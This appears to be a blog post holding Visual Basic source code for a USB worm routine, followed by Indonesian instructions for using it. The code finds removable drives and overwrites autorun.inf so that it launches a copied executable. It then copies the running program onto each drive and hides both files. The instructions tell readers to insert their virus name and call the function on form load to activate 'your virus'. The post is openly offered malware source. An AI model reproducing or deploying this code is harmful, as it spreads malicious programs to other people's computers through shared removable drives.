Public Function InfeksiUSB(DigitalCat As String, AD As String)
Dim FSO, USBCatLER, USBCat
Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT")
Set USBCatLER = FSO.DRIVES
For Each USBCat In USBCatLER
If USBCat.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE
If Right(YOL, 1) <> "\" Then DigitalCat= DigitalCat& "\"
If DigitalUSB(USBCat & "\autorun.inf") Then
SetAttr USBCat & "\autorun.inf", 0
Kill USBCat & "\autorun.inf"
End If
Open USBCat & "\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbCrLf & _
"open=" & USBCat & "\" & AD
Close #1
If Not DigitalUSB(USBCat & "\" & AD) Then
FileCopy DigitalCat& AD, USBCat & "\" & AD
End If
SetAttr USBCat & "\" & AD, 4
SetAttr USBCat & "\autorun.inf", 4
SetAttr USBCat & "\" & AD, 2
SetAttr USBCat & "\autorun.inf", 2
End If
Next
End Function
Public Function DigitalUSB(DosyaAdi As String) As Boolean
On Error GoTo CekUSB
Call FileLen(DosyaAdi)
DigitalUSB = True
Exit Function
CekUSB:
End Function
Sub Main()
InfeksiUSB App.Path, App.EXEName & ".exe"
End Sub
Cara Pakai :
Pada code ini (ada .exe,-> letakkan nama virus kamu bisa jg diganti *.Vbs,etc..)
InfeksiUSB App.Path, App.EXEName & ".exe"
pada form load / dimana code virus kamu letakkan
untuk mengaktifkan virus kamu
cukup gunakan / panggil
jika code ini di letakkan di module :
gunakan code ini :
Code:
NamaModule.InfeksiUSB
Tidak ada komentar:
Posting Komentar